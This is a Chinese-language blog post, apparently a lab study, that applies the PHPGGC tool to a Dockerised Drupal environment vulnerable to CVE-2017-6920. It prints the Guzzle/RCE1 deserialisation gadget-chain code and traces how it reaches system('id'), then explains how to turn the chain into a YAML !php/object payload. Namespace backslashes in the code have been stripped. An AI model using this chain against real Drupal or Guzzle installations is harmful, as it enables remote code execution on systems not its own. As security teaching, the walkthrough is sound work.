PHPGGC学习----实践

本文首发于先知:https://xz.aliyun.com/t/5450

PHPGGC学习----理论部分对PHPGGC工具的使用方法有了一个基本的了解,接下来需要利用实践环境进行一个实践操作,巩固一下刚才所学习的内容:

环境:

https://github.com/Medicean/VulApps/tree/master/d/drupal/1
docker pull medicean/vulapps:d_drupal_1
docker run -d -p 8000:80 medicean/vulapps:d_drupal_1
CVE-2017-6920  YAML 解析器处理不当导致的一个远程代码执行漏洞

 

其中pop链在gadgets.php文件中,pop链的逻辑和描述在chain.php文件中,以Guzzle/RCE1为例子进行分析:

chain.php:

<?php

namespace GadgetChainGuzzle;

class RCE1 extends PHPGGCGadgetChainRCE
{
    public static $version = '6.0.0 <= 6.3.2';
    public static $vector = '__destruct';
    public static $author = 'proclnas';
    public static $informations = '
        This chain requires GuzzleHttpPsr7 < 1.5.0, because FnStream cannot be
        deserialized afterwards.
        See https://github.com/ambionics/phpggc/issues/34
    ';


    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new GuzzleHttpPsr7FnStream([
            'close' => [
                new GuzzleHttpHandlerStack($function, $parameter),
                'resolve'
            ]
        ]);
    }
}

从其中可以看到其对使用该组件的描述,要求GuzzleHttpPsr7的版本要小于1.5.0,具体的逻辑在gengrate成员方法中,其中入口参数为数组parameters,

其包括function和parameter两个参数,分别为要进行rce的函数和函数的参数,其返回的即是GuzzleHttpPsr7FnStream的匿名对象,其入口参数为一个数组,数组包括一个数组元素,键名为close,键值为一个数组,

包括GuzzleHttpHandlerStack匿名对象,以及resolve字符串,至此构造序列化对象的逻辑结束,接下来结合gadgets.php看一下整个链是如何连起来的

gadgets.php

<?php

namespace PsrHttpMessage
{
    interface StreamInterface{}
}

namespace GuzzleHttpPsr7
{
    class FnStream implements PsrHttpMessageStreamInterface
    {
        private $methods;

        public function __construct(array $methods)
        {
            $this->methods = $methods;

            foreach ($methods as $name => $fn) {
                $this->{'_fn_' . $name} = $fn;
            }
        }

        /*
        public function __destruct()
        {
            if (isset($this->_fn_close)) {
                call_user_func($this->_fn_close);
            }
        }

        public function close()
        {
            return call_user_func($this->_fn_close);
        }
        */
    }
}

namespace GuzzleHttp
{
    class HandlerStack
    {
        private $handler;
        private $stack;
        private $cached = false;

        function __construct($function, $parameter)
        {
            $this->stack = [[$function]];
            $this->handler = $parameter;
        }

        /*
        public function resolve()
        {
            if (!$this->cached) {
                if (!($prev = $this->handler)) {
                    throw new LogicException('No handler has been specified');
                }

                foreach (array_reverse($this->stack) as $fn) {
                    $prev = $fn[0]($prev);
                }

                $this->cached = $prev;
            }

            return $this->cached;
        }
        */
    }
}

在类HandlerStack的构造方法中传入了rce要使用的函数及参数,并赋值给$this->stack和$this->handler,然后在类FnStream的构造方法中传入包含键close的数组,此时

将会拼接出一个_fn_close=[new GuzzleHttpHandlerStack($function, $parameter),'resolve'],这_fn_close的第一个元素其实已经实例化为一个匿名对象了,这里为了好理解先写成实例化前的形式。然后在FnStream的__destruct()函数中将会调用$this->_fn_close,即构成:

call_user_func([new GuzzleHttpHandlerStack($function, $parameter),'resolve'])

以上这种调用的形式在php官方文档中存在此种调用类中方法的形式:

所以此时关注类HandlerStack的resolve方法:

其中将利用php的动态函数的性质来构成rce的函数调用,比如此时假设:

[new GuzzleHttpHandlerStack($function, $parameter),'resolve']=》[new GuzzleHttpHandlerStack("system", "id"),'resolve']

即此时$prev参数首先经过$prev = $this->handler以后为id,接着经过foreach (array_reverse($this->stack) as $fn),$fn将为包含一个元素的数组["system"],然后经过

$prev = $fn[0]($prev);赋值以后$fn[0]即为system,即$prev即为system("id");最后函数调用返回再传入call_user_func,即构成call_user_func(system("id")) ;

到此,整个调用链已经分析结束,实现的原理也清楚了,接下来利用其生成的序列化payload来测试一下:

因为生成的序列化数据里面含有空字节,因此将payload输出到文件中使用php的addslashes函数转义一下:

 接着就可以加上在序列化数据前加上YAML_PHP_TAG,即!php/object 标签

 

原文地址:https://www.cnblogs.com/tr1ple/p/11050574.html